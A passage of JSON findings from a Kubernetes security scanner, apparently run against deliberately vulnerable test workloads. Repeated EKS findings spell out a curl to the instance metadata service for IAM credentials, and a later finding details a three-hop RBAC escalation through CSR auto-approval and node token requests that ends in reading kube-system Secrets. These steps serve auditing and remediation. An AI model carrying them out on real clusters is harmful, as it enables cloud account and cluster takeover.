        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:vulnerable:host-ns-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 8.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "vulnerable"
    },
    "resource": {
      "kind": "Deployment",
      "name": "host-ns-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "vulnerable/host-ns-app",
      "reason": "no-egress-policy",
      "sa": "vulnerable/default",
      "workload": "Deployment/vulnerable/host-ns-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:vulnerable:risky-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 8.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "vulnerable"
    },
    "resource": {
      "kind": "Deployment",
      "name": "risky-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "vulnerable/risky-app",
      "reason": "host-network",
      "sa": "vulnerable/default",
      "workload": "Deployment/vulnerable/risky-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:vulnerable:root-runner",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 8.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "vulnerable"
    },
    "resource": {
      "kind": "Deployment",
      "name": "root-runner",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "vulnerable/root-runner",
      "reason": "no-egress-policy",
      "sa": "vulnerable/default",
      "workload": "Deployment/vulnerable/root-runner"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Deployment:vulnerable:socket-mounts-app",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 8.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "vulnerable"
    },
    "resource": {
      "kind": "Deployment",
      "name": "socket-mounts-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "vulnerable/socket-mounts-app",
      "reason": "no-egress-policy",
      "sa": "vulnerable/default",
      "workload": "Deployment/vulnerable/socket-mounts-app"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Job:gw-workloads:gw-batch",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 8.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "gw-workloads"
    },
    "resource": {
      "kind": "Job",
      "name": "gw-batch",
      "namespace": "gw-workloads",
      "api_group": "batch"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "gw-workloads/gw-batch",
      "reason": "no-egress-policy",
      "sa": "gw-workloads/default",
      "workload": "Job/gw-workloads/gw-batch"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot"
    ]
  },
  {
    "id": "KUBE-CLOUD-IMDS-PIVOT-001:Pod:foothold-exec:foothold-decoy",
    "rule_id": "KUBE-CLOUD-IMDS-PIVOT-001",
    "severity": "HIGH",
    "score": 8.2,
    "category": "privilege_escalation",
    "title": "Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)",
    "description": "On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the `eks.amazonaws.com/role-arn` annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "Pod",
      "name": "foothold-decoy",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "workload",
      "detail": "Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role."
    },
    "impact": "AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.",
    "attack_scenario": [
      "Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).",
      "From inside the pod, attacker `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` to enumerate the EC2 instance profile.",
      "Attacker fetches the role's temporary credentials and uses `aws sts get-caller-identity` to confirm scope.",
      "Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account."
    ],
    "evidence": {
      "fallbackTo": "node-iam-role",
      "offenderCIDR": "",
      "pod": "foothold-exec/foothold-decoy",
      "reason": "no-egress-policy",
      "sa": "foothold-exec/foothold-decoy-sa",
      "workload": "Pod/foothold-exec/foothold-decoy"
    },
    "remediation": "Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.",
    "remediation_steps": [
      "Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: `kubectl annotate sa \u003csa\u003e eks.amazonaws.com/role-arn=arn:aws:iam::\u003cacct\u003e:role/\u003crole\u003e`.",
      "Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: `to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }]`.",
      "Enforce IMDSv2 on the EKS managed nodegroup (`--metadata-options HttpTokens=required HttpPutResponseHopLimit=1`) so even reachable IMDS requires session tokens that pods cannot easily obtain.",
      "Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them)."
    ],
    "references": [
      "https://blog.christophetd.fr/",
      "https://aws.github.io/aws-eks-best-practices/security/docs/iam/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
    ],
    "learn_more": [
      {
        "title": "Christophe Tafani-Dereeper: AWS IAM privilege escalation in EKS",
        "url": "https://blog.christophetd.fr/"
      },
      {
        "title": "AWS EKS Best Practices: IAM",
        "url": "https://aws.github.io/aws-eks-best-practices/security/docs/iam/"
      },
      {
        "title": "AWS EC2: Configuring the instance metadata service (IMDSv2)",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:cloud",
      "module:network_policy",
      "provider:eks",
      "check:imdsPivot"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS:ServiceAccount/nodeid-fixtures/nodeid-joiner:kube_system_secrets",
    "rule_id": "KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS",
    "severity": "HIGH",
    "score": 8.15,
    "category": "data_exfiltration",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-joiner` can read **kube-system Secrets** in 3 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-joiner` has a privesc path that terminates in `get/list/watch secrets` in `kube-system`. This is not full cluster-admin, but it is the most consequential namespace to read. `kube-system` Secrets typically contain the credentials that *unlock* cluster-admin: cloud IAM keys (cloud-controller-manager, EBS/PD/Disk CSI), registry pull secrets (system images), addon API keys, and tokens for SAs that are themselves bound to `cluster-admin` (operator installers, helm-controllers).\n\nThe chain (3 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/` via `csr_nodeclient_autoapprove` (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource\n  2. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `ServiceAccount/foothold-exec/foothold-reader` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-reader, whose pod is bound there\n  3. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `read_secrets` (get,list secrets): can read secrets in kube-system or cluster-wide\n\nIn production clusters this path is the single most common one in `kubesplaining`'s output. `secrets:get` is over-granted by Helm chart defaults, by stale `view`-style roles, and by ConfigMap-reader roles that wildcard `resources` to include Secrets. The path is short (often 1-2 hops) and exploitation is trivial: the attacker decodes base64 and is in.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-joiner",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-joiner` → kube-system Secrets (control-plane namespace). Reads here typically yield credentials usable cluster-wide"
    },
    "impact": "Reading kube-system Secrets typically yields cloud-account compromise, registry write (supply-chain implant), and tokens for cluster-admin-adjacent SAs. In practice, this is a one-way ratchet to full cluster control through subsequent privesc paths.",
    "attack_scenario": [
      "Attacker compromises any workload mounting `ServiceAccount/nodeid-fixtures/nodeid-joiner`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-joiner`, the attacker submits a CertificateSigningRequest for the `kubernetes.io/kube-apiserver-client-kubelet` signer naming `system:node:\u003cname\u003e` in `system:nodes` (`create certificatesigningrequests + create certificatesigningrequests/nodeclient`). The controller manager's CSR approver asks the API server whether the requester may `create certificatesigningrequests/nodeclient`; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/foothold-exec/foothold-reader` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/foothold-exec/foothold-reader`.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker reads ServiceAccount tokens out of the cluster's Secrets store (`get,list secrets`) and uses one of those tokens (typically a control-plane controller's) to escalate. Read-access on Secrets is the most consequential single verb in Kubernetes RBAC because every other identity's credential lives in a Secret object somewhere.",
      "Final step: the attacker has `get secrets -n kube-system`. They list every Secret, decode each `data` value, and pull cloud IAM credentials, registry pull secrets, addon API keys, and SA tokens for cluster-admin-adjacent operators. Each of those is a separate privesc path, often shorter than the one that got them here."
    ],
    "evidence": {
      "chain_summary": [
        "1. csr_nodeclient_autoapprove [create certificatesigningrequests + create certificatesigningrequests/nodeclient]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. read_secrets [get,list secrets]"
      ],
      "first_action": "csr_nodeclient_autoapprove",
      "hop_count": 3,
      "target": "kube_system_secrets",
      "target_namespace": "",
      "techniques": [
        "csr_nodeclient_autoapprove",
        "node_token_request",
        "read_secrets"
      ]
    },
    "remediation": "Eliminate the path by tightening `secrets:get` in `kube-system` to a narrow allowlist of system controllers, then break the chain at: remove the permission `create certificatesigningrequests + create certificatesigningrequests/nodeclient` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/`).",
    "remediation_steps": [
      "List who can `get secrets -n kube-system`: `kubectl auth can-i get secrets -n kube-system --as=system:serviceaccount:\u003cns\u003e:\u003csa\u003e` for every workload SA, and `kubectl get rolebindings,clusterrolebindings -A -o yaml | grep -B5 secrets` to find broad grants.",
